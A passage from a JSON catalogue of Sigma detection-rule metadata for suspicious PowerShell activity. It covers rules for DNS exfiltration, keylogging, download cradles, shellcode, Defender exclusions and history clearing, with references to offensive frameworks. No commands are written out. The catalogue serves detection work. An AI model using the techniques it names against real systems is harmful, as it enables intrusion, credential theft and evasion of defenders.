"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export.yml" ], "tags": [ "attack.collection", "attack.t1119" ] }, "related": [ { "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a9723fcc-881c-424c-8709-fd61442ab3c3", "value": "Recon Information for Export with PowerShell" }, { "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\nThis may include things such as firewall rules and anti-viru\n", "meta": { "author": "frack113", "creation_date": "2021/12/16", "falsepositive": [ "Unknown" ], "filename": "posh_ps_security_software_discovery.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_security_software_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1518.001" ] }, "uuid": "904e8e61-8edf-4350-b59c-b905fc8e810c", "value": "Security Software Discovery by Powershell" }, { "description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.", "meta": { "author": "frack113", "creation_date": "2022/03/17", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_get_addefaultdomainpasswordpolicy.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml" ], "tags": [ "attack.discovery", "attack.t1201" ] }, "related": [ { "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bbb9495b-58fc-4016-b9df-9a3a1b67ca82", "value": "Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy" }, { "description": "Powershell use PassThru option to start in background", "meta": { "author": "frack113", "creation_date": "2022/01/15", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_start_process.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0718cd72-f316-4aa2-988f-838ea8533277", "value": "Suspicious Start-Process PassThru" }, { "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n", "meta": { "author": "frack113", "creation_date": "2021/12/26", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_remove_adgroupmember.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml" ], "tags": [ "attack.impact", "attack.t1531" ] }, "related": [ { "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "48a45d45-8112-416b-8a67-46e03a4b2107", "value": "Remove Account From Domain Admin Group" }, { "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", "meta": { "author": "oscd.community, @redcanary, Zach Stanford @svch0st", "creation_date": "2020/10/08", "falsepositive": [ "Administrators or Power users may remove their shares via cmd line" ], "filename": "posh_ps_susp_mounted_share_deletion.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.005" ] }, "related": [ { "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "66a4d409-451b-4151-94f4-a55d559c49b0", "value": "PowerShell Deleted Mounted Share" }, { "description": "Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/08", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_proxy_scripts.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml" ], "tags": [ "attack.command_and_control", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bd33d2aa-497e-4651-9893-5c5364646595", "value": "Suspicious TCP Tunnel Via PowerShell Script" }, { "description": "Detects Base64 encoded Shellcode", "meta": { "author": "David Ledbetter (shellcode), Florian Roth (rule)", "creation_date": "2018/11/17", "falsepositive": [ "Unknown" ], "filename": "posh_ps_shellcode_b64.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://twitter.com/cyb3rops/status/1063072865992523776", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellcode_b64.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "16b37b70-6fcf-4814-a092-c36bd3aafcbd", "value": "PowerShell ShellCode" }, { "description": "Detects Commandlet that is used to export certificates from the local certificate store and sometimes used by threat actors to steal private keys from compromised machines", "meta": { "author": "Florian Roth", "creation_date": "2021/04/23", "falsepositive": [ "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" ], "filename": "posh_ps_susp_export_pfxcertificate.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml" ], "tags": [ "attack.credential_access", "attack.t1552.004" ] }, "related": [ { "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aa7a3fce-bef5-4311-9cc1-5f04bb8c308c", "value": "Suspicious Export-PfxCertificate" }, { "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", "meta": { "author": "frack113", "creation_date": "2021/12/12", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_local_group_reco.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_local_group_reco.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fa6a5a45-3ee2-4529-aa14-ee5edc9e29cb", "value": "Suspicious Get Local Groups Information - PowerShell" }, { "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", "meta": { "author": "frack113", "creation_date": "2021/07/20", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_zip_compress.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml" ], "tags": [ "attack.collection", "attack.t1074.001" ] }, "related": [ { "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b7a3c9a3-09ea-4934-8864-6a32cacd98d9", "value": "Zip A Folder With PowerShell For Staging In Temp - PowerShell Script" }, { "description": "Detects usage of the built-in PowerShell cmdlet \"Enable-WindowsOptionalFeature\" used as a Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", "meta": { "author": "frack113", "creation_date": "2022/09/10", "falsepositive": [ "Unknown" ], "filename": "posh_ps_enable_windowsoptionalfeature.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system", "https://learn.microsoft.com/en-us/windows/wsl/install-on-server", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_windowsoptionalfeature.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "55c925c1-7195-426b-a136-a9396800e29b", "value": "Potential Suspicious Windows Feature Enabled" }, { "description": "Detects PowerShell scripts that contains reference to keystroke capturing functions", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/04", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_keylogger_activity.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9c81655093be93876e0d80732e7eeaf7d83476/content", "https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bcc28a4f456e200486dbd401b25af6da3b4da62/content", "https://learn.microsoft.com/en-us/dotnet/api/system.windows.input.keyboard.iskeydown?view=windowsdesktop-7.0", "https://twitter.com/ScumBots/status/1610626724257046529", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml" ], "tags": [ "attack.collection", "attack.credential_access", "attack.t1056.001" ] }, "uuid": "965e2db9-eddb-4cf6-a986-7a967df651e4", "value": "Potential Keylogger Activity" }, { "description": "Get the processes that are running on the local computer.", "meta": { "author": "frack113", "creation_date": "2022/03/17", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_get_process.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml" ], "tags": [ "attack.discovery", "attack.t1057" ] }, "uuid": "af4c87ce-bdda-4215-b998-15220772e993", "value": "Suspicious Process Discovery With Get-Process" }, { "description": "Detects keywords that could indicate clearing PowerShell history", "meta": { "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", "creation_date": "2022/01/25", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_clear_powershell_history.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.003" ] }, "related": [ { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "26b692dc-1722-49b2-b496-a8258aa6371d", "value": "Clear PowerShell History - PowerShell" }, { "description": "Detects usage of the \"Get-AdGroup\" cmdlet to enumerate Groups within Active Directory", "meta": { "author": "frack113", "creation_date": "2022/03/17", "falsepositive": [ "Unknown" ], "filename": "posh_ps_get_adgroup.yml", "level": "low", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adgroup.yml" ], "tags": [ "attack.discovery", "attack.t1069.002" ] }, "related": [ { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8c3a6607-b7dc-4f0d-a646-ef38c00b76ee", "value": "Active Directory Group Enumeration With Get-AdGroup" }, { "description": "Detects usage of COM objects that can be abused to download files in PowerShell by CLSID", "meta": { "author": "frack113", "creation_date": "2022/12/25", "falsepositive": [ "Legitimate use of the library" ], "filename": "posh_ps_download_com_cradles.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0", "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_download_com_cradles.yml" ], "tags": "No established tags" }, "uuid": "3c7d1587-3b13-439f-9941-7d14313dbdfe", "value": "Potential COM Objects Download Cradles Usage - PS Script" }, { "description": "Dnscat exfiltration tool execution", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate usage of PowerShell Dnscat2 — DNS Exfiltration tool (unlikely)" ], "filename": "posh_ps_dnscat_execution.yml", "level": "critical", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dnscat_execution.yml" ], "tags": [ "attack.exfiltration", "attack.t1048", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a6d67db4-6220-436d-8afc-f3842fe05d43", "value": "Dnscat Execution" }, { "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", "meta": { "author": "Sean Metcalf, Florian Roth, Bartlomiej Czyz @bczyz1, oscd.community, Nasreddine Bencherchali, Tim Shelton, Mustafa Kaan Demir, Georg Lauenstein, Max Altgelt, Tobias Michalski, Austin Songer", "creation_date": "2017/03/05", "falsepositive": [ "Unknown" ], "filename": "posh_ps_malicious_commandlets.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/HarmJ0y/DAMP", "https://github.com/samratashok/nishang", "https://github.com/calebstewart/CVE-2021-1675", "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", "https://adsecurity.org/?p=2921", "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml" ], "tags": [ "attack.execution", "attack.discovery", "attack.t1482", "attack.t1087", "attack.t1087.001", "attack.t1087.002", "attack.t1069.001", "attack.t1069.002", "attack.t1069", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "89819aa4-bbd6-46bc-88ec-c7f7fe30efa6", "value": "Malicious PowerShell Commandlets - ScriptBlock" }, { "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "posh_ps_invoke_obfuscation_via_var.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e54f5149-6ba3-49cf-b153-070d24679126", "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell" }, { "description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/25", "falsepositive": [ "Unknown" ], "filename": "posh_ps_clearing_windows_console_history.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", "https://www.shellhacks.com/clear-history-powershell/", "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070", "attack.t1070.003" ] }, "related": [ { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bde47d4b-9987-405c-94c7-b080410e8ea7", "value": "Clearing Windows Console History" }, { "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", "meta": { "author": "frack113", "creation_date": "2022/01/19", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_xml_iex.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6c6c6282-7671-4fe9-a0ce-a2dcebdc342b", "value": "Powershell XML Execute Command" }, { "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Florian Roth (rule), Jonhnathan Ribeiro", "creation_date": "2017/03/05", "falsepositive": [ "Unknown" ], "filename": "posh_ps_susp_invocation_specific.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ae7fbf8e-f3cb-49fd-8db4-5f3bed522c71", "value": "Suspicious PowerShell Invocations - Specific" }, { "description": "Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/16", "falsepositive": [ "Unknown" ], "filename": "posh_ps_win_defender_exclusions_added.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562", "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c1344fa2-323b-4d2e-9176-84b4d4821c88", "value": "Windows Defender Exclusions Added - PowerShell" }, { "description": "Detect use of X509Enrollment", "meta": { "author": "frack113", "creation_date": "2022/12/23", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_x509enrollment.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42", "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41", "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_x509enrollment.yml" ], "tags": "No established tags" }, "uuid": "504d63cb-0dba-4d02-8531-e72981aace2c", "value": "Suspicious X509Enrollment - Ps Script" }, { "description": "Detects Commandlet names and arguments from the Nishang exploitation framework", "meta": { "author": "Alec Costello", "creation_date": "2019/05/16", "falsepositive": [ "Unknown" ], "filename": "posh_ps_nishang_malicious_commandlets.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/samratashok/nishang", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f772cee9-b7c2-4cb2-8f07-49870adc02e0", "value": "Malicious Nishang PowerShell Commandlets" }, { "description": "Detects suspicious Powershell code that execute COM Objects", "meta": { "author": "frack113", "creation_date": "2022/04/02", "falsepositive": [ "Legitimate PowerShell scripts" ], "filename": "posh_ps_susp_gettypefromclsid.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml" ], "tags": [ "attack.privilege_escalation", "attack.persistence", "attack.t1546.015" ] }, "related": [ { "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8bc063d5-3a3a-4f01-a140-bc15e55e8437", "value": "Suspicious GetTypeFromCLSID ShellExecute" }, { "description": "Detects parameters used by WMImplant", "meta": { "author": "NVISO", "creation_date": "2020/03/26", "falsepositive": [ "Administrative scripts that use the same keywords." ], "filename": "posh_ps_wmimplant.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/FortyNorthSecurity/WMImplant", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8028c2c3-e25a-46e3-827f-bbb5abf181d7", "value": "WMImplant Hack Tool" }, { "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013)\n", "meta": { "author": "frack113", "creation_date": "2021/12/30", "falsepositive": [ "Legitimate administrative script" ], "filename": "posh_ps_cor_profiler.yml", "level": "medium", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml" ], "tags": [ "attack.persistence", "attack.t1574.012" ] }, "related": [ { "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "23590215-4702-4a70-8805-8dc9e58314a2", "value": "Registry-Free Process Scope COR_PROFILER" }, { "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel", "meta": { "author": "frack113", "creation_date": "2022/01/07", "falsepositive": [ "Legitimate script" ], "filename": "posh_ps_invoke_dnsexfiltration.yml", "level": "high", "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh", "https://github.com/Arno0x/DNSExfiltrator", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml" ], "tags": [ "attack.exfiltration", "attack.t1048" ] }, "related": [ { "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d59d7842-9a21-4bc6-ba98-64bfe0091355", "value": "Powershell DNSExfiltration" }, { "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": 